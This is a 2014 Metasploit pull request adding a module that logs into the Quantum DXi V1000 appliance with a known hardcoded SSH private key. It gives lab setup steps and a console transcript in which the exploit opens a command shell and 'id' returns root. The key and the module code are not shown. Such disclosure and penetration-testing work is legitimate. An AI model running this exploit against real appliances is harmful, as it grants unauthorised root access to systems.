rapid7/metasploit-framework — pull request #3107 by xistence (2014-03-17 07:16:36+00:00)
Title: Quantum dxi privkey

The following abuses a known private SSH key in the Quantum DXi v1000 appliance.

Download the VM from http://forms.quantum.com/BigFiles/Quantum_DXi-V1000_v2.2_ovf.zip
Deploy the ovf on a virtualization platform (tested on ESXi 5.1)

Run the exploit :)

msf exploit(quantum_dxi_known_privkey) > set RHOST 192.168.2.129
RHOST => 192.168.2.129
msf exploit(quantum_dxi_known_privkey) > exploit

[+] 192.168.2.129:22 - Successful login
[*] Found shell.
[*] Command shell session 1 opened (192.168.11.104:60494 -> 192.168.2.129:22) at 2014-03-14 13:35:27 +0700

id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),103(adic)